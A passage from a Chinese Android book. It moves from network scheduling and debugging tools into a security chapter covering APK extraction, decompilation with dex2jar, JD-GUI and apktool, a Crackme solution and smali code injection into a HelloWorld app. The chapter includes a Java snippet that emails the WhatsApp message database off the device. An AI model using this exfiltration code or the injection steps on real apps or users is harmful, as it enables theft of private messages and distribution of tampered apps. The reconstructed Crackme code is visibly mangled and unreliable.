public static final String MY_TASK = "myTask";
@Override
public int onRunTask(TaskParams taskParams) {
switch (taskParams.getTag()) {
case MY_TASK:
//task code...
if (success)
return GcmNetworkManager.RESULT_SUCCESS;
else
return GcmNetworkManager.RESULT_RESCHEDULE;
}
return GcmNetworkManager.RESULT_SUCCESS;
}
}
GcmTaskService.onRunTask()方法是我们要开发请求的地方。作为参数使用的TaskParameter对象有助于在TaskParams.getTag()方法中识别已请求的哪个请求,并在TaskParams.getExtras()方法中可选地识别其他参数。每个新请求都会创建一个新线程:因此,GcmTaskService.onRunTask()方法在工作者线程中执行,我们无需为此目的担心创建新线程。
当执行请求代码时,我们需要返回一个整数值,指示接下来要做什么:
-
GcmNetworkManager.RESULT_SUCCESS:任务已无错误执行,可以从队列中移除 -
GcmNetworkManager.RESULT_FAILURE:任务遇到一些错误并失败,但必须从队列中移除 -
GcmNetworkManager.RESULT_RESCHEDULE:任务失败,但我们希望稍后使用退避策略再次执行
由于它是一个service,我们必须在清单文件中声明它:
<service
android:name=".MyGcmTaskService"
android:exported="true"
android:permission="com.google.android.gms.permission. BIND_NETWORK_TASK_SERVICE">
<intent-filter>
<action android:name="com.google.android.gms.gcm. ACTION_TASK_READY" />
</intent-filter>
</service>
任务调度
让我们看看如何调度一个任务。首先,我们需要获取GcmNetworkManager实例:
GcmNetworkManager mGcmNetworkManager = GcmNetworkManager.getInstance(getApplicationContext());
然后,我们需要使用Task的其中一个子类来创建一个任务:
-
OneoffTask:OneoffTask task = new OneoffTask.Builder() .setService(MyGcmTaskService.class) .setTag(MyGcmTaskService.MY_TASK) .setExecutionWindow(0, 1000L) .build(); -
PeriodicTask:PeriodicTask task = new PeriodicTask.Builder() .setService(MyGcmTaskService.class) .setTag(MyGcmTaskService.MY_TASK) .setPeriod(5L) .build();
最后,我们需要使用GcmNetworkManager实例以以下方式调度任务:
mGcmNetworkManager.schedule(task);
任务特性
这两种Task类型都有一些特定的参数需要更仔细地查看,因为此 API 的大部分灵活性在于这些参数。它们从Task类继承了公共参数:因此,我们将在以下页面中查看它们。
任务
每个Task都包含以下参数:
-
string tag:这是用于启动GcmTaskService实现内部正确执行的代码的任务标识符。 -
bundle extras:这用于传递额外信息到Service,以便正确执行任务。 -
class service:这是用于处理调度的GcmTaskService的标识符。 -
boolean isPersisted:如果设置为true,则任务将被持久化并在重启后执行。只有当调用者持有接收启动完成事件的正确权限时,它才会工作:<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> -
int requiredNetworkState:这用于根据执行时的网络连接状态指定所需的行为。这意味着在开始执行之前会检查连接,但根据网络状态,连接可能会很快丢失。因此,无论我们选择什么值,我们都应该始终处理连接不可用的情况。可能的值如下:-
Task.NETWORK_STATE_ANY:无论连接状态如何,任务都会执行。 -
Task.NETWORK_STATE_CONNECTED:只有在活动数据连接的情况下才会执行任务。否则,任务将延迟到连接可用。这是默认值。 -
Task.NETWORK_STATE_UNMETERED:只有在不受限制的连接可用时才会执行任务。否则,任务将挂起,直到有不受限制的连接可用。
-
-
boolean requiresCharging:这用于指定执行任务所需的设备充电状态。在执行特别耗资源的操作时,等待充电操作可能很有用。至于网络状态,如果设置的值为true且不在充电状态,那么在开启充电之前任务将不会执行。 -
boolean updateCurrent:这有助于修正较旧的计划任务,并用新任务覆盖它。默认为false;因此,每次都会计划一个新任务。
OneoffTask
OneoffTask允许我们指定一个执行窗口来计划任务。它有以下参数:
-
long windowStartDelay:这表示任务的执行起点。这意味着它可以在将来延迟。 -
long windowEndDelay:这指定了任务的执行结束点。
PeriodicTask
PeriodicTask为任务添加以下参数:
-
long flex:这设置在计算执行任务的最佳时机时的灵活性。例如,如果周期是 60 秒,而 flex 值为 10 秒,那么任务执行的正确时刻将由调度程序设置为 50 到 60 秒之间。这有助于让调度程序选择执行任务的最佳网络条件。 -
long period:这指定了将来执行任务的周期性周期。
调试工具
在调试阶段,从网络的角度来看,我们需要灵活的工具来让我们在不同的连接条件下测试我们的应用程序,检查我们在网络上传输的内容,我们是如何做到的,我们如何处理和缓存响应,以及通信是否安全和可靠。
在以下章节中,我们想要讨论的是为了支持新 Android N SDK 内部变化而引入的新adb命令。而且,除了之前在第二章 高效调试 中讨论的 Android 工具,如网络统计工具和TrafficStats API,我们还想简要介绍一些有帮助的工具。这些工具可以让我们分析应用程序的网络性能,并拦截网络通信以便进行详细分析,从而使用本章前面讨论的模式来改进它。
Android N 网络 ADB 工具
如前所述,Android N 对数据网络后台使用引入了新的限制。因此,它在adb内提供了命令,以正确调试和检查我们的实现。
新的命令如下:
-
adb shell dumpsys netpolicy:这用于生成关于网络限制设置的报告。 -
adb shell cmd netpolicy:这用于检查与 netpolicy 相关的所有命令。 -
adb shell cmd netpolicy set restrict-background <boolean>:用于启用或禁用数据节省功能。 -
adb shell cmd netpolicy add restrict-background-whitelist <UID>:用于将特定包添加到白名单应用程序中。 -
adb shell cmd netpolicy remove restrict-background-whitelist <UID>:用于从白名单中移除特定的应用程序包。
Fiddler
Fiddler 是一个用作代理服务器的调试工具,它能够捕获网络上的 HTTP 和 HTTPS 请求,充当中间人(MITM)。除此之外,它还可以拦截请求并更改响应,以测试我们应用程序的不同使用场景。
这个工具在许多不同的环境中被使用,但对于我们的 Android 应用程序,我们需要配置设备以通过 Fiddler 网络,并将其作为代理服务器:因此,按照这里给出的步骤配置代理:
-
打开设备的 Wi-Fi 设置。
-
在 Fiddler 所在的网络上长按。
-
在对话框上点击修改网络。
-
通过勾选显示高级选项复选框来启用高级选项。
-
将代理设置设置为手动。
-
在代理主机名中输入 Fiddler 电脑的 IP 地址。
-
输入 Fiddler 端口代理端口。
Fiddler 的图形界面在图 3中说明:
图 3:Fiddler 界面
使用这个工具,我们可以访问许多功能来调试我们的应用程序通信,并添加许多扩展来增强其功能,从而提高我们的网络调试技能。
Wireshark
Wireshark 是一个免费的多平台工具,旨在分析从连接中收集的数据包。它像一个中间人一样工作。你需要将你的设备连接到桌面网络以获取信息。你可以通过 USB 端口、蓝牙或创建 Wi-Fi 热点来连接设备。有很多不同的工具可以做到这一点,甚至在 Wireshark 软件包内部也有。
WireShark 捕获的每个单独数据包在图 4中显示:
图 4:Wireshark 中收集的数据包。
捕获的内容可以通过多种方式过滤,以找到我们感兴趣的特殊数据包类型。因此,这个工具是最灵活和受欢迎的数据包分析器之一。
应用程序资源优化器
AT&T 的应用程序资源优化器(在以下页面中称为ARO)是一个用于在桌面查找网络策略改进的好工具。它检查一系列定义的改进点,并给出建议。无需 root 权限。它可以在每个设备上使用,并采用两个连续的步骤:
-
数据收集:通过注册视频和追踪网络请求来收集数据。
-
数据分析:通过检查 25 项最佳实践来分析应用程序的网络连接。
收集数据需要 VPN,但应用程序将自动安装创建 VPN 所需的设备。然后,要开始收集,请点击数据收集器,然后点击开始收集器。在设备上导航应用程序,完成后,在桌面上的 ARO 应用程序中点击数据收集器和停止收集器。ARO 将分析数据,并以图形方式显示结果,如图图 5所示:
图 5:AT&T 应用程序资源优化器结果
ARO 为每个分析的最佳实践显示结果,我们可以详细检查每一个,以了解哪里出了问题以及如何修复。
它的瀑布视图还可以用来了解每个单独连接的时间,并检查是什么降低了响应速度,如图图 6所示:
图 7:ARO 瀑布视图
网络衰减
我们想在应用程序中执行的主要测试与设备的网络条件有关。这并不简单,因为只有少数工具可以做到这一点,尤其是在真实设备上。然而,我们想探索一些选择。这就是为什么下面我们将使用允许我们为本地连接的设备更改这些值的工具,然后我们将处理模拟器速度和延迟的高级管理。
速度和延迟模拟
图形化模拟器控制器允许我们为速度和延迟设置预设值。尽管如此,命令行模拟器控制器可以在模拟器运行时使用自定义值设置和更改它们。
要设置速度并启动模拟器,我们可以运行以下命令:
emulator -netspeed <speed>
其中<speed>可以是以下之一:
-
gsm: 上传速度:14.4 kbps,下载速度:14.4 kbps -
hscsd: 上传速度:14.4 kbps,下载速度:43.2 kbps -
gprs: 上传速度:40.0 kbps,下载速度:80.0 kbps -
edge: 上传速度:118.4 kbps,下载速度:236.8 kbps -
umts: 上传速度:128.0 kbps,下载速度:1920.0 kbps -
hsdpa: 上传速度:348.0 kbps,下载速度:14400.0 kbps -
full: 最大上传速度,最大下载速度 -
<link>: 上传速度:链路值 kbps,下载速度:链路值 kbps -
<up>:<down>: 上传速度:up 值 kbps,下载速度:down 值 kbps
特别是最后两个值,让我们可以决定任何网络速度的值。然后,如果我们想在模拟器运行时改变速度,我们可以使用以下命令,并使用之前提到的相同值:
network speed <speed>
它类似于延迟值。启动具有选定延迟的模拟器的命令如下:
emulator -netdelay <delay>
其中<delay>可以是以下之一:
-
gprs: 最小延迟:150 ms,最大延迟:550 ms -
edge: 最小延迟:80 ms,最大延迟:400 ms -
umts: 最小延迟:35 ms,最大延迟:200 ms -
none: 最小延迟:0 ms,最大延迟:0 ms -
<latency>:最小延迟:ms 中的延迟值,最大延迟:ms 中的延迟值 -
<min>:<max>:最小延迟:ms 中的最小值,最大延迟:ms 中的最大值
至于速度,我们可以改变运行模拟器的网络延迟。只需使用上面列出的特定延迟值执行以下命令:
network delay <delay>
Fiddler
我们在本章前面已经介绍了这个工具,但这里我们想要了解的是,Fiddler 允许我们通过添加一个特定的插件来改变网络的延迟。这就是 Fiddler 延迟响应扩展,它看起来像图 7中的截图:
图 8:Fiddler 延迟响应扩展
众所周知,Fiddler 作为代理工作,每个请求都会通过它。因此,我们可以将每个与特定远程资源的会话添加到图 7中截图所示的插件中,并为它设置特定的延迟(毫秒)。
网络链接调节器
苹果设备有一个名为网络链接调节器的服务,它有助于在设备上设置特定的网络配置文件。因此,我们可以将其用于网络共享,利用这个工具在真实设备上测试我们的应用程序。它看起来像图 8中的截图:
图 9:网络链接调节器
网络衰减器
AT&T 网络衰减器是一个 Android 应用程序,可以改变设备的连接条件,以在实际场景中测试我们的应用程序。该项目仍处于测试阶段,只能在获得 root 权限的三星 Galaxy S3 上使用,但希望将来能改进以支持更多设备。让我们简要了解一下它,以理解它如何提供帮助:
当安装在设备上时,网络衰减器可以执行以下操作:
-
改变上传和下载的网络速度
-
通过设置数据包丢失百分比来改变网络效率
-
通过域名或 IP 地址阻止远程资源访问
使用这个工具,无需将设备连接到由其他应用程序控制和限制的特定网络。它看起来像图 9中的截图:
图 10:AT&T 网络衰减器
概述
应用程序的网络方面是最具挑战性的问题。从应用程序的网络策略来看,你可以从这个角度找到可以优化的东西。为此,我们处理了 Android 上的UrlConnection API,以便更好地理解我们可以用它做什么,分析如何使用不同的网络协议,设置不同的请求方法类型,向请求中添加额外的参数,如头部和 cookies,以及处理通信中的压缩。然后,我们概述了平台上可用的连接类型,以了解我们的应用程序在网络传输中可以达到的速度。
然后,在最佳实践部分讨论的模式在提高网络性能方面非常有用。需要遵循的一般原则是:
-
根据连接速度改变要传输的内容,以加快应用程序速度。
-
预取数据以加快导航速度并减少远程请求。甚至更好的是,测量延迟以确定预取的正确策略,以在速度和传输节省之间达到正确的平衡。
-
启用响应缓存以保存单个连接上传输的数据。考虑使用
If-Modified-Since头部,当需要已缓存的静态远程资源且服务器上未修改时,减少请求的负载。 -
在可能的情况下,考虑使用推送模式而不是轮询模式,以节省带宽和电池,并在不需要时避免激活无线电。
-
当后端出现暂时性错误时,限制请求可能很有帮助。为此,指数退避模式是让服务器在过载时恢复时间和资源的正确选择。
在定义了最佳实践之后,我们通过平台提供的几个有用的 API 来实践本章所讨论的内容。以下是一些 API:
-
SyncManagerAPI -
GCMNetworkManagerAPI
为了验证我们所学的内容是否应用得当,我们在调试工具部分讨论了正确的工具来检查三个主要目标:
-
在不同的网络条件下测试应用程序,改变速度和延迟。
-
从外部检查请求属性,以确保它们符合我们的需求
-
检查在应用程序生命周期中是否有执行不必要的传输
为了这些目标,我们引入了 Fiddler、WireShark 和 ARO:这三种工具用于分析我们的应用程序,并让我们知道如何改进它。最后,我们讨论了几种方法,用于在模拟器和真实设备上模拟连接条件不佳的情况。
在这里,我们处理了与网络架构和策略有关的一切,以改善连接时间并减少由于使用无线电导致的电池耗电,但我们还没有讨论缓存。请参考第十章,性能技巧,详细了解如何正确缓存数据以便将来重用,使用序列化技术,然后从 CPU 和网络性能的角度提高性能,加快应用程序的整体响应速度。
第七章:安全
维基百科将安全定义为:“对伤害的抵抗程度或保护。它适用于任何脆弱且宝贵的资产,如人、住所、社区、物品、国家或组织。”
当我们思考软件安全时,脑海中可能会浮现黑客在黑色屏幕和绿色字体中工作的画面,他们快速地在控制台输入命令,以获取系统访问权限或破坏防火墙。但现实与好莱坞电影中的情景不同。软件安全指的是一个强大的系统,它保护用户的隐私,避免攻击者的不必要交互,并保持完整性。
计算机系统可能会遇到多种漏洞或攻击向量:
-
后门:后门是用于绕过应用程序安全性的点,通常是系统开发者留下的。2013 年,斯诺登曝光的一个丑闻暗示,国家安全局(NSA)拥有许多操作系统和平台的后门,包括谷歌的。
-
拒绝服务攻击:拒绝服务(DoS)是一种旨在使资源对用户不可用的攻击。DDoS 和 DoS 攻击属于这一类别:这些攻击包括向服务器发送请求,直到服务器无法处理所有请求,并停止向合法用户服务内容。
-
直接访问攻击:在这种攻击中,攻击者直接访问系统,通常目的是窃取文档或其中包含的相关信息。
-
中间人(MitM)攻击:在这种攻击中,第三方将计算机插入合法目的地和源头之间,并欺诈性地将自己设置为合法目的地。然后用户将所有信息发送给这个拦截器,拦截器通常又将信息重新发送到合法目的地,因此用户没有意识到信息已被截获。
MitM 攻击的拓扑结构
-
篡改:篡改是指恶意修改软件,通常目的是假装它是合法版本,并在后台执行一些不希望的操作(如监控或窃取信息)。
作为操作系统,Android 并非没有这些风险。实际上,考虑到其广泛的应用范围(全球有超过十亿个 Android 设备),它比其他平台面临更多的威胁。已经有一些知名(并被广泛使用)的应用程序因设计标志通常被用作软件设计不当可能发生的情况的例子。
WhatsApp —— “不可为”的永恒展示
WhatsApp 可以展示应用程序可能呈现的一些标志。2011 年报告了一个漏洞,指出 WhatsApp 内的通信并未加密。连接到同一 Wi-Fi 网络的设备可以访问其他设备之间的通信。几乎花了一年的时间来修复这个漏洞,而这个漏洞并不是特别复杂难以解决。
那一年晚些时候,也报告了一个问题,允许攻击者冒充用户并控制他的账户。2012 年 1 月,一名黑客发布了一个网站,如果知道电话号码,就可以更改安装了 WhatsApp 的任何设备的状态。WhatsApp 为修复这个漏洞所采取的唯一措施是封锁了网站的 IP 地址(正如任何读者可以想象的,这远非一个有效的措施)。
WhatsApp 多年来存在的一个大问题是,消息存储在本地数据库中。这是在外部存储中完成的,任何其他应用程序(以及任何恶意黑客)都可以访问该文件。这个想法可能有它的理由(例如,保持备份),但实施结果是一场灾难。数据库总是使用相同的加密密钥进行加密,因此任何可以访问该文件的人都可以轻松地解密它。以下是一个获取数据库文件并通过电子邮件发送的示例操作:
public void onClick(View v) {
try {
AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... arg0) {
GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
try {
File f = new File(filePathString);
if (f.exists() && !f.isDirectory()) {
sender.addAttachment("/storage/sdcard0/ WhatsApp/ Databases/msgstore.db.crypt", SUBJECT_STRING);
sender.sendMail(SUBJECT_STRING,
BODY_STRING,
EMAIL_STRING,
RECIPIENT_STRING);
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
};
m.execute((Void)null);
} catch (Exception e) {
Log.e("SendMail", e.getMessage());
}
}
});
深入代码
当我们在特定技术上发展时,通常会用高级语言(如 C、C++或 Java)编程,然后编译我们的代码和资源到一个文件中,该文件将在独立平台上执行。编译过程在技术之间有所不同(Java 的编译过程与 C++不同,因为 Java 将在 JVM 中运行)。通过或多或少的难度,已经编译的代码可以“逆向”并从编译后的代码访问,编译后的代码通常是不可读的,变为对用户更友好的形式。
下图展示了我们在 Android 中开发应用程序的过程:
以下是上述内容的解释:
-
最初,我们利用 Android SDK 和外部库开发我们的应用程序。最终,我们还使用了 NDK,它遵循不同的开发和编译过程。
-
当我们的应用程序准备好,我们想要编译它时,它将被编译以在 Android 虚拟机上执行。这将被编译成一个大致相当于 DEX 格式的字节码文件,这是 Android 理解的格式。
-
文件后来被打包并签名。签名的过程很重要,因为这样我们可以确保文件属于特定的公司,并且没有被篡改。
-
之后,应用程序将通过 Google 应用商店或其他替代市场进行分发。
注意
安卓设备如果使用的是 4.4 版本或更早的操作系统,会使用一个特定的虚拟机版本,名为 Dalvik,这个名字来源于冰岛的一个渔村。从 Android 5.0 开始,这个虚拟机版本被停止使用,取而代之的是一个新的虚拟机版本,名为Android Runtime (ART),它使用相同的字节码和 DEX 格式。
要访问生成 APK 文件的代码,只需按照逆向步骤进行即可。
捕获 APK 文件
我们可以使用不同的方法来捕获 APK 文件。在本书中,我们将介绍三种(截至 2015 年第四季度可用)。请注意,本章提供的信息仅用于教育目的。在进行逆向工程时,需要遵守一些规则和立法,这将在后面讨论。
从设备中提取文件
如果我们的设备已经 root 或者我们使用的是安装了 Google Play 服务的模拟器,可以提取已安装的 APK。请注意,root 过的设备可能会受到恶意应用程序和攻击者的针对。如果你打算 root 你的设备,互联网上有大量的免费信息可供参考。
当应用从 Play Store 或替代市场安装后,你首先需要将adb连接到你的电脑。首先你需要确定目标应用的包名:
adb shell pm list packages
尝试将应用名称与列出的某个包进行匹配,这并不总是容易的。如果你找不到,观察当你在 Play Store 中显示应用时浏览器的 URL:
此图像与 Google Maps 相对应。包名是id=-之后的所有内容。确定包名后,你需要获取它的完整路径:
adb shell pm path com.example.targetapp
这通常会返回位于/data/app文件夹中的地址。找到它后,你需要从设备中提取它:
adb pull /data/app/com.example.targetapp-2.apk
这样操作之后,你将成功下载应用的 APK。
使用 Wireshark 捕获 APK
Wireshark 是一个在安全领域广泛使用的网络嗅探和分析工具。它捕获网络中的流量并进行嗅探,即读取未加密的内容。即使内容被加密,也有一些技术可以误导客户端或设备认为服务器是真实的(中间人攻击),然后拦截所有发送的信息。
为了拦截 APK 文件(以及 Android 流量),你需要在电脑上创建一个热点。这将取决于你所使用的操作系统。在 Macintosh 上,可以通过选择互联网共享轻松完成,使用以太网作为共享的互联网连接,并提供 Wi-Fi 作为热点。这个选项可以在配置菜单中找到:
当手机已经连接到我们的热点并在浏览时,我们需要让 Wireshark 从连接中嗅探。使用 Wireshark 并设置它可能需要一整本书的篇幅。作为一个起点:我们需要指向与 Wireshark 共享的接口,并注意所有发送和接收的包。我们可以使用过滤器来指出发送信息的 IP,因为可能会有大量的信息。当确定了 URL 和认证头后,我们可以使用如 Postman 之类的 HTTP 请求创建器下载 APK。
使用外部网站
许多网站提供这项功能,以点击广告或展示广告作为交换。在 Google 上搜索"在线下载 APK 文件",会返回成千上万的网站。一个不算详尽的搜索将引导我们下载我们的目标 APK。然而,我们强烈不推荐这种方法。正如我们后面将看到的,修改 APK 并插入恶意代码是件轻而易举的事。提供明显免费下载的网站背后可能隐藏着恶意代码的注入。
APK 文件解剖
假设我们已经获得了一个 APK 文件。为了本节的用途,并且为了简化练习,我们将创建一个仅包含Activity内一个TextView的HelloWorld应用程序。
为了分析我们应用程序的内部结构,首先让我们解压 APK 并检查其内容。我们将看到类似以下的内容:
对于这个领域的新手来说,我们可以看到 Android 清单和res文件夹内的资源是直接可访问的。classes.dex文件包含了我们前面解释的编译后的 Java 文件。Resources.arsc文件(应用程序资源文件)包含二进制资源的列表,包括程序使用的任何类型的数据。这个文件是由Android Asset Packaging Tool(aapt)创建的。
我们现在将介绍第一种技术,读取未经混淆的文件的代码,并将文件转换为 JAR 文件,然后用反编译器打开它。为此,我们需要两个工具:
-
dex2jar:一个开源工具,用于将 Android APK 转换为 JAR 文件。翻译并非完全准确,但通常足以反编译 JAR 文件(更容易)并洞察代码。可以从
sourceforge.net/p/dex2jar/下载。 -
JD-GUI:Java Decompiler 项目是另一个开源项目,旨在以简单直观的方式反编译 Java 5 版本之后的 JAR 文件。我们为 Eclipse 和 IntelliJ 提供了插件,但为了本章的目的,我们将使用独立应用程序。可以从
jd.benow.ca/下载。
下载完这两个应用程序后,首先将 APK 转换成 JAR 文件。为此,我们需要编写以下命令:
java –jar dex2jar.jar target.apk
如果我们使用 .sh 文件,以下是相关内容:
./dex2jar.sh target.apk
这将在与 target.apk 同一文件夹中生成一个名为 TargetFile_dex2jar.jar 的文件。
现在让我们打开这个文件,使用 JD-GUI 打开它,并选择 HelloWorldActivity。我们将看到类似于以下屏幕的内容:
这是一个应用程序的基本示例,但一个敏锐的读者会意识到,对于更复杂的应用程序,可能性也是巨大的。对于下一个练习,让我们下载一个 Crackme 并尝试玩玩它的 insight.exercise:
注意
Crackmes 通常是为了测试程序员在逆向工程方面的知识而创建的程序。它提供了一种合法的方式来“破解”软件并练习绕过安全措施,因为这里没有真正的公司参与。它们经常被用在比赛中。
为了测试一个真实的逆向工程场景,我们需要下载以下 Crackme(需要注册):crackmes.de/users/deurus/android_crackme03/。
下载后,解压并将在模拟器或设备上安装 APK 文件。启动后,它将显示以下屏幕:
这个特定的程序需要安装在真实设备上,因为在模拟器中,其中一个参数将始终是一组 0。但对于我们的目的,它将正常工作。
我们应用与之前在 HelloWorld 应用程序中相同的步骤(转换为 JAR,然后用 JD-GUI 打开)。打开后,导航到文件 HelloAndroid。我们将看到以下代码:
这是一组代码,它不能直接编译。它充满了随机的断点和奇怪的返回及条件。然而,我们可以将其重新组织在编译器中以显示基础内容并理解它:
-
主屏幕上第一个和第二个
TextView的值被取到两个变量中(str1和str2)。 -
如果第一个字符串的长度小于 4,则进程会被终止,并显示带有文本
"min 4 chars"的Toast。 -
有两个字符串(
str5和str6),分别是设备 ID 和 SIM 卡序列号。 -
还有一些字符串的组合(
str7和str8),它们分别取str5和str6的子串,还有一个应用了 EXOR 运算符的组合。
我们可以稍微重新组织一下代码,以确保它能够编译。我们可以在同一代码中指定我们提供的值,并运行它:
String str1 = "MyName";
int i = str1.length();
String str2 = "";
String str3 = "00000";
while (true) {
Toast.makeText(mainActivity, "Min 4 chars", 1).show();
String str4 = String.valueOf(0x6B016 ^ Integer.parseInt(str2.substring(0, 5)));
TelephonyManager localTelephonyManager = (TelephonyManager) mainActivity.getSystemService("phone");
String str5 = localTelephonyManager.getDeviceId();
String str6 = localTelephonyManager.getSimSerialNumber();
String str7 = str5.substring(0, 6);
String str8 = str6.substring(0, 6);
long l = Integer.parseInt(str7) ^ Integer.parseInt(str8);
if (!(str4 + "-" + String.valueOf(l) + "-" + str7).equals(str3)) {
Toast.makeText(mainActivity, "God boy", 1).show();
}
在你的设备上尝试这段代码,以从getDeviceId()和getSimSerialNumber()函数中获取正确的信息。稍后将在 Crackme 中引入它们,显示的消息将是"God boy"(这里指的是上帝)。恭喜你。你刚刚使用逆向工程破解了你的第一个 Crackme。
代码注入
另一个大的安全风险是代码注入。当软件被故意修改以插入一段通常具有恶意的代码模块,执行非预期操作时,就会发生代码注入。这些非预期操作可能包括数据窃取、用户监控等等。因此,在这种情况下,确保应用程序被签名尤为重要。来自可信任制造商签名的应用程序不会包含注入的代码。
爱尔兰工程师 Georgie Casey 在 2013 年的一篇文章中证明了可怕的概念验证。他反编译了获奖的 Android 键盘 SwiftKey,并注入了一段代码,记录所有按键操作,并通过连接到公共网站的 Web 服务发送它们,在那里显示出来。他的目的是证明任何人都可以这样做,并将修改后的 APK 上传到替代商店之一。寻找免费 APK 的人可能已经下载并使用了它,在不知情的情况下将所有个人信息(密码和信用卡)发送到攻击者的 Web 服务。他在博客中详细解释了整个过程,这个过程有多么简单令人惊讶。在本节中,我们将展示如何修改基本的HelloWorld以插入一些新功能,但这个过程可以根据想象力扩展。
注意
坚持使用官方应用商店通常可以完全保护免受此类攻击。谷歌会使用一个名为Bouncer的系统自动扫描所有 APK,该系统能够检测并停用具有恶意意图的恶意软件和代码。此外,像 SwiftKey 这样的知名公司不会冒险发布包含 KeyLogger 来监视用户的应用程序,从而损害自己的声誉。
让我们回到在前几节中开发的类似于HelloWorld的程序。在这种情况下,我们需要另一个工具,即 apktool。之前,我们将应用程序转换成了 JAR,然后使用 JD-GUI 进行反编译。现在,我们将执行一个更精确的过程,直接将应用程序反汇编和组装成 Baksmali 和 Smali 格式(Android 虚拟机使用的格式)。Baksmali 和 Smali 在冰岛语中分别意味着反汇编器和汇编器(我们猜想谷歌的 Android 开发者主要来自冰岛,或者他们对这个国家有着强烈的热情,以至于给如此多的组件起名都与之相关)。关于这种格式没有太多的官方文档,所以现在推荐的了解它的方法是反编译应用程序。一如既往——实践胜于理论。
从ibotpeaches.github.io/Apktool/下载 apktool。将其安全地下载到您的计算机上,然后从HelloWorld应用程序中取出 APK,并输入以下命令:
apktool d –r HelloWorld.apk HelloWorld
这将把当前的 APK 文件反汇编到HelloWorld文件夹中。如果我们进入该文件夹,我们会观察到以下结构:
-
AndroidManifest.xml:这是可读的文件 -
res/文件夹:包含所有解码内容的资源文件夹 -
smali/文件夹:这个文件夹包含所有源文件,是这一节最重要的文件夹 -
apktool.yml:apktool 的配置文件
让我们进入smali/文件夹看看。其结构可能类似于以下这样:
对于 APK 中的每个类,我们已经创建了一个smali文件。还有一些其他文件,标记为class$name.smali。它们表示类文件内部的内部类(在我们的R类内部的类,这是生成用来访问 Android 资源的类)。smali(广义上)是 Java 文件的字节码表示。
现在是时候看看smali文件了。首先打开HelloWorldActivity.smali:
.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source "HelloWorldActivity.java"
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 8
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
return-void
.end method
# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
.locals 2
.parameter "savedInstanceState"
.prologue
.line 12
invoke-super {p0, p1}, Landroid/app/Activity;- >onCreate(Landroid/os/Bundle;)V
.line 14
new-instance v0, Landroid/widget/TextView;
invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V
.line 15
.local v0, text:Landroid/widget/TextView;
const-string v1, "Hello World, Android"
invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V
.line 16
invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V
return-void
.end method
如果我们阅读这个文件,会看到一些熟悉的实例和名称:似乎有很多 Android 类,如Activity或TextView,还有像setContentView()这样的 Android 方法。文件开头三行看起来是一个类声明,之后是一个构造函数声明,最后是onCreate()方法。
如果我们熟悉某种机器编程,就会知道寄存器(分配空间以插入信息)的含义。我们可以在如下这样的行中观察到这一点:
new-instance v0, Landroid/widget/TextView;
.local v0, text:Landroid/widget/TextView;
const-string v1, "Hello World, Android"
在前面的代码中,执行了不同类型的操作(创建变量并访问它),使用了一些寄存器的方向——在这里使用了v0和v1方向。
操作码
操作码很容易推断,它是机器上要执行的操作代码。与其它语言和技术相比,Dalvik 的操作码集合并不庞大(我们可以访问以下 URL 作为参考,其中包含大部分操作码:pallergabor.uw.hu/androidblog/dalvik_opcodes.html)。反编译 Java/Dalvik 的优点在于操作码集合较小,容易推断,因此更容易自动化反编译工具。我们刚才反编译的代码中包含的一些操作码有:
-
invoke-super:调用super方法 -
new-instance:创建一个变量的新实例 -
const-string:创建一个字符串常量 -
invoke-virtual:调用一个virtual方法 -
return-void:返回 void
注入新代码
在这个阶段,我们可能已经推断出注入代码的过程包括从功能应用创建 smali 代码并将其注入正确的位置。注意寄存器的编号以避免覆盖并使之前的代码失去功能,这一点很重要。
例如,如果我们创建一个在屏幕上显示吐司的函数,编译 APK 并进行反汇编,我们最终会得到一些类似于以下内容的代码(忽略创建应用和活动的部分):
invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;
move-result-object v1
const-string v2, "This is a Disassembled Toast!"
const/4 v3, 0x0
invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-object v1
invoke-virtual {v1}, Landroid/widget/Toast;->show()V
在我们的案例中,覆盖寄存器没有问题。现在让我们修改原始文件,我们得到的结果类似于以下内容:
.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source "HelloWorldActivity.java"
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 8
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
return-void
.end method
# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
.locals 2
.parameter "savedInstanceState"
.prologue
.line 12
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
.line 14
new-instance v0, Landroid/widget/TextView;
invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V
.line 15
.local v0, text:Landroid/widget/TextView;
const-string v1, "Hello World, Hacked Android"
invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V
.line 16
invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V
invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;
move-result-object v1
const-string v2, " This is a Disassembled Toast!"
const/4 v3, 0x0
invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I) Landroid/widget/Toast;
move-result-object v1
invoke-virtual {v1}, Landroid/widget/Toast;->show()V
return-void
.end method
注意,注册表中v1的常量字符串也已经修改,现在包含文本"Hello World, Hacked Android!"。
签名与重新构建应用
应用最后修改后,是时候重新构建应用了。类似于我们如何反汇编应用,我们将应用以下命令来重新构建它(请注意,您需要处于反汇编应用文件夹中才能重新构建它):
apktool b ./HelloWorld
